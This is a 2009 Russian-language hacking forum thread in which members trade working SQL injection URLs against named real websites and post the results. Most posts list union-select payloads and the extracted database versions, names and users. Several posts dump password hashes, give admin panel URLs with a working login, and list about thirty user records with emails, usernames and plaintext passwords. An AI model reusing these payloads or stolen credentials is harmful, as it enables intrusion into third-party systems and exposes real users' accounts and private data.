SQL Инъекции

Skofield · 7 Jun 2009

http://www.ces.fau.edu PR 6
Code:
http://www.ces.fau.edu/sfrsf/detail.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
database version - 5.0.51a-3ubuntu5.4
database name - test
user name - sfrsf@localhost

HAXTA4OK · 7 Jun 2009

http://www.coinfo.cefetpb.edu.br/cursos.php?id=1+and+substring(version(),1,1)=5--

##########################################
http://www.unissa.edu.br/website/cursosPosGraduacaoView.php?id=-1+union+select+1,concat_Ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12--

unissa@localhost:unissa:4.0.15-log

Gorev · 7 Jun 2009

http://www.ucluj.tv/index.php?VideoID=-612+UNION+SELECT+1,2,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),4,5,6,7,8

Database Version: 5.0.81-community-log
Database name: uclujtv_db
User name: uclujtv_user@localhost
Os : pc-linux-gnu

HAXTA4OK · 7 Jun 2009

http://doska.alvisp.ru/details.php?id=-1011339+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(0x3a,user(),database(),version()),13,14,15,16,17,18,19+from+mysql.user--

http://doska.alvisp.ru/details.php?id=-1011339+union+select+1,2,3,4,5,6,7,8,9,10,11,file_priv,13,14,15,16,17,18,19+from+mysql.user--
Y

Gorev · 7 Jun 2009

http://www.eurotrucks.ro/stoc-camioane-noi.php?TruckCategoryID=6/**/AND/**/SUBSTRING((version),1,1)=x&Action=SetTruckCategoryFilter

Version :5.0.81-community-log
Database : eurotruc_db
User : eurotruc_dbuser@localhost
Os : pc-linux-gnu

http://www.universitateacluj.ro/poze.php?AlbumID=3+AND+SUBSTRING((version()),1,1)=x&pagina=5&subPagina=20

Version : 5.0.81-community-log
Database : universi_db
User : universi_mircea@localhost
Os : pc-linux-gnu

HAXTA4OK · 7 Jun 2009

http://www.ndelo.ru/one_stat.php?id=838+and+substring(version(),1,1)=4--

http://sibkray.ru/vn/index.php?id=-97473+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--

sibkray_site@localhost:sibkray_site:5.0.45

tables:

sibkray_cat,sibkray_conf_vopr_otvet,sibkray_expert_exp_cat,bs_cat,bs_mesta,sibkray_vote_otvet,vn_cat_articles,sibkray_informer_cat,vn_music,sibkray_string,sibkray_valuts,sibkray_cat_articles,sibkray_expert_article,sibkray_expert_message,bs_click,bs_pokaz,vn_articles,sibkray_foto,vn_cat_articles1,sibkray_music,vn_video,sibkray_tv_channel,sibkray_video,bs_video,sibkray_comments,sibkray_expert_cat,bs_company,vn_articles1,sibkray_id_inf,vn_comments,sibkray_pog_fact,sibkray_tv_pr_date,sibkray_vote,sibkray_articles,sibkray_conf,sibkray_expert_exp,bs_klients,sibkray_vote_ip,vn_cat,sibkray_informer,vn_foto,sibkray_pogoda_3day,sibkray_tv_programm
Click to expand...

Gorev · 7 Jun 2009

http://www.infopolitic.ro/index.php?page=stire&id_categorie=5&id=-10984+UNION+SELECT+1,2,unhex(hex(concat_ws(0x3a,version(),database(),user(),@@version_compile_os))),4,5,6,7,8,9/*

Database Version: 4.1.11-Debian_4sarge7-log
Database name: infopolitic
User name: infopolitic@localhost
Os : pc-linux-gnu

TreV@N · 7 Jun 2009

http://www.beliefproductions.org/

http://www.beliefproductions.org/news.php?id=-1+union+select+1,2,3,concat_ws(char(124),version(),database(),user()),5--
Click to expand...

Database Version: 5.0.45-community-nt
Database name: network_shared
User name: anubis@localhost

==================================================

http://vegasfasteners.com/

http://vegasfasteners.com/news.php?id=-1+union+select+1,concat_ws(char(124),version(),database(),user()),3,4,5,6,7--
Click to expand...

Database Version: 5.0.67
Database name: vegasfast_snews
User name: vegasfast_snews@localhost

==================================================

http://www.steameconomies.com/

http://www.steameconomies.com/news.php?id=-1+union+select+1,2,concat_ws(char(124),version(),database(),user()),4,5--
Click to expand...

Database Version: 4.1.22
Database name: steameco_cms
User name: steameco_cms@localhost

==================================================

http://www.stroykirpich.ru/

http://www.stroykirpich.ru/news/news.php?id=-1+union+select+1,2,concat_ws(char(124),version(),database(),user()),4,5,6,7,8--
Click to expand...

Database Version: 5.0.67
Database name: zloi-alex_kirpich
User name: zloi-alex@localhost

==================================================

http://www.usbufa.ru/

http://www.usbufa.ru/news.php?id=-1+union+select+1,2,concat_ws(char(124),version(),database(),user()),4--
Click to expand...

Database Version: 5.0.67
Database name: alcomsoftru_ftsr
User name: [email protected]

==================================================

http://www.havana.co.nz/

http://www.havana.co.nz/news.php?id=-1+union+select+1,concat_ws(char(124),version(),database(),user()),3,4,5--
Click to expand...

Database Version: 5.0.67-log
Database name: havana
User name: [email protected]

AlexSatter · 7 Jun 2009

http://uralstroyinfo.ru/?id=56&cat=3+and+substring(version(),1,1)=5
тиц 600, pr 4

-------

http://www.mosoblmedia.ru/cgi-bin/show.pl?gid=-26+union+select+1,2,concat_Ws(0x3a,version(),user(),database()),4,5,6,7/*

4.0.27:root@zvm8:temp_db

http://www.mosoblmedia.ru/cgi-bin/show.pl?gid=-26+union+select+1,2,concat_ws(0x3a,user,password),4,5,6,7+from+mysql.user+limit+0,1/*

root:44fde13c2e079229

-------

PR 5

http://goszakupki.avo.ru/tender.php?tender=12152+and+substring(version(),1,1)=5

Krist_ALL · 7 Jun 2009

http://www.social-capital.net/showart.php?articleid=-1+union+select+user(),database(),version(),4
Click to expand...

PR 5 TIC 0

Database Version: 5.0.45-log
Database name: socialcap1
User name: [email protected]

Админка - http://www.social-capital.net/admin/

Часть админки запоролена - в БД пароля не нашел. Загрузить шелл не получилось т.к. скипт жестко все фильтрует, НО у меня даже не получилось загрузить Jpg... только папки можно создавать и редактировать тексты на сайте.

AlexSatter · 7 Jun 2009

http://www.skolcompany.com/?issue_id=101+and+substring(version(),1,1)=5
----------
http://www.uazsp.ru/catalog.php?producer_id=1+and+substring(version(),1,1)=4
----------

PR 3, ТИЦ 50
http://www.triolcorp.com/index.php?id=-96+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),17,18,19,20,21,22,23,24,25

Database Version: 5.0.51a
Database name: triolcorp
User name: triolcorp@localhost

Code:

Database [triolcorp]
    Table [triol_catalog  ( Rows)]
        id
        cat_left
        cat_right
        cat_level
        parent
        posic
        topmenu
        title
        title_ua
        header
        header_ua
        header_top
        header_top_en
        meta_description
        meta_keywords
        page_text
        page_text_ua
        language
        editable
        module
        link
        template
        auth
        leftmenu
        show_eng
    Table [triol_news  ( Rows)]
        id
        date
        short
        short_ua
        full
        full_ua
        name
    Table [triol_users  ( Rows)]
        id
        fio
        email
        login
        pass
        organiz
        dolgnost
        contacts
        telephon
        sayt
        pogelanie
        opyt
        source
        zakaz
        info
        status

        tag_content
        tag_content_en
        editable_text
        page_text
        page_text_en

Пользователи: id:email:login

ass

Code:

[0]:9:[email protected]:alena:tata
[1]:12:[email protected]:kurmaev13:kurmaev13
[2]:11:[email protected]:cementplant:haider
[3]:13:[email protected]:avaplus:maslen
[4]:14:[email protected]:Alifoleg:05061956
[5]:15:[email protected]:silver-rtf:lisrw1979
[6]:16:[email protected]:swn:2039
[7]:17:[email protected]:oooema:347077
[8]:18:[email protected]:AMalyshev1986:1234sasha
[9]:19:[email protected]:elena:proect
[10]:20:[email protected]:V_i_t_a_x_a:786998
[11]:21:[email protected]:amigo67:141104
[12]:22:[email protected]:Sherzod:triol
[13]:23:[email protected]:Sherzod:triol
[14]:24:[email protected]:prodiys55:2337693819
[15]:25:[email protected]:pkf23:230797
[16]:26:[email protected]:Sayat:6669
[17]:27:[email protected]:$$V:abkmrf
[18]:28:[email protected]:maximaptechkin:jrcfyf
[19]:29:[email protected]:Алексей Михайлович:klever
[20]:30:[email protected]:nKjlrzLeS:WqlMkahKDPNpVD
[21]:31:[email protected]:WePqpoLEmLOzzgEzj:ifxMQVeATfFcuMNi
[22]:32:[email protected]:Thajlander:fXcflPF497
[23]:33:[email protected]:DevochkaX:gVKBKIc561
[24]:34:[email protected]:gamozda:kislota276080
[25]:35:[email protected]:kojin:7793
[26]:36:[email protected]:oskar:energo
[27]:37:[email protected]:EKolodych:123654
[28]:38:[email protected]:vovkmix:36127380
[29]:39:[email protected]:sslonn:123123123
[30]:40:[email protected]:student:neyasut

AlexSatter · 7 Jun 2009

http://www.vidatec.ru/?page=-3+UNION+SELECT+1,2,3,4,CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),6,7,8,9,10,11,12

Database Version: 4.1.22
Database name: alpro
User name: alpro@localhost

таблицы, которые удалось найти:
catalog
groups
orders
partners

-------

http://www.monopolia-rti.ru/index.php?grid=12)+and+(substring(version(),1,1)=5

Krist_ALL · 7 Jun 2009

http://www.pogonowski.com/display.php?textid=-891+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4
Click to expand...

PR 5

Database Version: 5.0.45-log
Database name: icp_texts
User name: [email protected]

админка сломана( - Http://pogonowski.com/admin

Login -user1
Password - 123

AlexSatter · 7 Jun 2009

ТИЦ 240
http://www.sibmech.ru/import.php?title=-57+union+select+concat_ws(0x3a,version(),user(),database())

вывод в title
4.1.22-log:[email protected]:sibmech_db
удалось найти таблицу users

содержимое таблицы users ввиде: id:loginassword
Code:
1:admin:36696630cfdec3fa4702cc6c5d6d574a
5:dub14:eda4e674e1e13f224704f4b481a0ccf3
7:test:449bca0569d57b807c0567694640293a
8:denis:eda4e674e1e13f224704f4b481a0ccf3
9:user:b7ee47e9cc42e0d00bdf6dbb4f702d8a
Админка: http://www.sibmech.ru/admin/

RulleR · 7 Jun 2009

[PR 4]
126 полей 0_0

Code:

http://www.super55.com/word.php?id=-6467+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,version(),database(),user()),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126

5.0.67-msl-icd1-log:super55_szotar:super55@localhost

[PR 2]

Code:

http://centralboys.thsll.org/rep.php?id=-9+union+select+1,2,concat_ws(0x2a,version(),database(),user()),4&rep=2009_rep

5.0.27:centralboys:tlax@localhost

SkyLine32 · 7 Jun 2009

http://www.ivo.nl/?id=-607+UNION+SELECT+1,2,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71)--
Click to expand...

Database Version: 4.1.15-standard
Database name: ivo
User name: webivo@localhost

RulleR · 7 Jun 2009

[PR 5]
Code:
http://www.basementsystems.com/testimonials/view.php?id=-1472+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14
4.1.22-log:basementsystems:root@localhost

[PR 4]
Code:
http://www.guidedways.com/mobile/purchase.php?id=-24+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10--&affcode=gw&ref=qfrm
5.0.81-community-log:fahagi3_truth:fahagi3_data@localhost

[PR 1]
Code:
http://www.clickoff.ru/purchase.php?id=-5+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12
4.1.22-standard:hyperco_clickoff:hyperco_admin@localhost

[PR 0]
Code:
http://www.sparrowscripts.com/purchase.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),user())
5.0.67-community:axelance_root:axelance_root@localhost

farex · 7 Jun 2009

<<Интернет магзин книг>>
Code:
http://www.cocos.com.ua/?wiev_t=-3371+union+select+1,concat_ws(0x3a2a3a,version(),database(),user(),@@version_compile_os),3,4,5,6,7,8,9,0,1,2,3,4--+
4.1.22-standard-log:*:cocosco_bdutfcocosco:*:cocosco_adm@localhost:*:unknown-linux-gnu

Админка
Code:
http://www.cocos.com.ua/serv/

Kimliksiz · 7 Jun 2009

http://www.ahtopolbg.com/index.php?option=com_mosres&task=showregion&regID=4%27+and+1=2+union%20select%201,concat(username,0x3a,password)+from+jos_users/*&lang=bg

nitAdmin:acdee303eabfd82b1233004b17468c0f

Gorev · 7 Jun 2009

http://www.fereastra.ro/stiri/stire.php?code=-3446+UNION+SELECT+1,concat_ws(0x3a,version(),database(),useR(),@@version_compile_os),3,4,5

Database Version: 4.1.22-standard-log
Database name: frstr_fereastra
User name: frstr_admin@localhost
Os : pc-linux-gnu

SQL Инъекции

Skofield Elder - Старейшина

HAXTA4OK Super Moderator
Staff Member

Gorev Level 8

HAXTA4OK Super Moderator
Staff Member

Gorev Level 8

HAXTA4OK Super Moderator
Staff Member

Gorev Level 8

TreV@N Elder - Старейшина

AlexSatter Member

Krist_ALL Banned

AlexSatter Member

AlexSatter Member

Krist_ALL Banned

AlexSatter Member

RulleR Elder - Старейшина

SkyLine32 Member

RulleR Elder - Старейшина

farex Banned

Kimliksiz Member

Gorev Level 8

Useful Searches

SQL Инъекции

Skofield Elder - Старейшина

HAXTA4OK Super Moderator Staff Member

Gorev Level 8

HAXTA4OK Super Moderator Staff Member

Gorev Level 8

HAXTA4OK Super Moderator Staff Member

Gorev Level 8

TreV@N Elder - Старейшина

AlexSatter Member

Krist_ALL Banned

AlexSatter Member

AlexSatter Member

Krist_ALL Banned

AlexSatter Member

RulleR Elder - Старейшина

SkyLine32 Member

RulleR Elder - Старейшина

farex Banned

Kimliksiz Member

Gorev Level 8

HAXTA4OK Super Moderator
Staff Member

HAXTA4OK Super Moderator
Staff Member

HAXTA4OK Super Moderator
Staff Member